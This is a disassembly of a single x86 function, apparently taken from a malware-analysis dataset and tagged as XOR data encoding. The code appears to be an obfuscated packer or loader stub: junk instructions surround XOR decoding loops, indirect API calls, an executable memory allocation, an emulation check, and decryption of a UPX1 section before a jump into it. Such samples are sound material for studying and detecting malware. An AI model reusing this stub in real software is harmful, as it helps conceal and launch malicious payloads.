Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x7cd2ab27
inc edx
and eax, eax
or edx, edx
popal
and eax, eax
sub edx, 1
mov eax, 0
mov ecx, edx
sub ebx, 0xc8a76052
mov ebx, 0xf09c8b3a
sub ebx, 1
mov edi, ecx
dec ebx
and esi, ebx
mov edx, edi
mov ebx, esi
inc esi
or esi, ebx
inc eax
not esi
dec esi
cmp eax, 0x100726d
jne 0xa789c5
dec ebx
dec ebx
not edx
mov edx, eax
sub edx, eax
mov edi, 0xa78796
mov eax, 0x48b54a0e
sub esi, 0x33dce379
mov edx, 0xa7898a
add eax, 0xbd0496ab
add esi, 0x35a30655
inc eax
mov ecx, dword [edi]
and ebx, eax
add eax, 0x314a54e8
add ebx, 0xfb924d24
and ecx, 0xff
or eax, eax
and eax, eax
add eax, 0xa6d1e5d7
xor dword [edx], ecx
and ebx, eax
mov esi, 0x5728029
mov esi, 0xb5985495
add edx, 1
add ebx, eax
sub ebx, 0xd757e78e
add edi, 1
mov esi, ebx
and ebx, esi
not eax
cmp edx, entry0
jl 0xa78a1e
add eax, 0x8802c85a
or esi, ebx
and ebx, ebx
sub eax, ebx
add ebx, eax
dec edi
sub edx, 1
sub edx, 1
mov ecx, 0xa7898e
or edi, edx
mov edi, 0x3624621d
mov ebx, edx
mov ecx, dword [ecx]
not edx
dec edi
mov edi, esi
mov ecx, dword [ecx]
add esi, 0x4b19ae96
and edx, edx
or esi, edi
push ecx
add ebx, edi
not esi
sub ebx, 0x29e324fd
mov ecx, 0xa7898a
not edi
sub ebx, edx
or edi, esi
mov ecx, dword [ecx]
add edx, 0xbb4646f8
dec edx
mov ecx, dword [ecx]
or ebx, edx
mov edx, ebx
push 0xa78992
sub esi, edx
mov ebx, 0xbc87ef04
mov ebx, 0x97c8978b
call ecx
add edx, 0x65b76754
not edx
or edi, edi
pop ecx
inc ebx
mov ebx, 0xa48ced5a
dec edi
push 0xa7899f
add esi, 0xb2cb0ae1
not esi
add edi, edi
push eax
not ebx
dec edi
call ecx
sub ebx, 0x1cd5b0fe
inc edi
sub esp, 4
mov dword [esp], 0x40
sub esi, edx
sub edx, ebx
sub ebx, edx
push 0x3000
not edi
inc edx
sub edx, edi
push 0x20000856
not ebx
sub edi, 0xde205d4c
sub edx, ebx
push 0
or edi, esi
add edi, 0x2a471998
inc edi
call eax
add edx, 0x63835fb6
not esi
add eax, 0x2000079f
not edx
mov edx, 0xaeb05228
mov ecx, 0x6b5e91b
and edi, edi
sub esi, 0x910b8c7c
sub edi, esi
mov dword [eax], ecx
or ebx, edi
and esi, edx
mov ecx, dword [eax]
not ebx
add esi, 0x89fe3289
sub ebx, edx
cmp ecx, 0x6b5e91b
je 0xa78b92
mov ebx, 0
mov dl, byte [ebx]
inc ebx
mov edi, 0xaea9e4a
sub ebx, 0xbcb3f0f4
inc edi
or esi, edx
sub edx, eax
or eax, edx
mov ecx, section.UPX1
add edx, edx
or eax, eax
dec edx
mov edi, 0xa78795
inc eax
and edx, eax
sub eax, edx
mov ebx, 0
sub edx, eax
sub edx, 0x439c82aa
not edx
mov esi, 0xa78796
sub edx, eax
sub edx, 0x201aa6a8
mov edx, 0xdf79f16
lea esi, [ebx + esi]
add eax, 0xa3010c93
sub edx, 0xda732fd5
mov esi, dword [esi]
not edx
add eax, edx
and esi, 0xff
or edx, eax
add eax, edx
inc ebx
add eax, eax
sub eax, 0x40ecfdf
cmp ebx, 0x1f4
jne 0xa78c0f
mov ebx, 0
add edx, 0x3246d352
mov edx, 0xdd5acffa
and edx, eax
not eax
not eax
xor dword [ecx], esi
add edx, 0xfeafc2d0
add eax, 0x7dc5baf9
add edx, 0x18e10d96
add ecx, 2
mov eax, edx
and eax, edx
cmp ecx, edi
jl 0xa78bc8
add edx, edx
or eax, edx
and edx, edx
or eax, eax
mov edx, 0x9d228117
mov eax, section.UPX1
and ebx, esi
mov ebx, esi
mov edx, section.UPX1
mov esi, ebx
sub ebx, 0x921065ad
mov edi, 0xa78795
sub ebx, esi
sub ebx, esi
mov ecx, 0
mov esi, 0x3039b1f
or ebx, ebx
inc esi
mov cl, byte [edx]
add esi, esi
sub esi, 0x99f6567e
mov byte [eax], cl
sub ebx, esi
dec ebx
inc eax
sub ebx, 0x9a588aa6
sub ebx, 0x6b73684d
add ebx, ebx
add edx, 2
add ebx, esi
not esi
add esi, 0xb4f98b94
cmp edx, edi
jle 0xa78c7f
or ebx, esi
add ebx, 1
sub esi, 0xe2976a66
inc edx
add edx, eax
mov eax, edx
push 0x8dc6a0
and edx, eax
inc eax
ret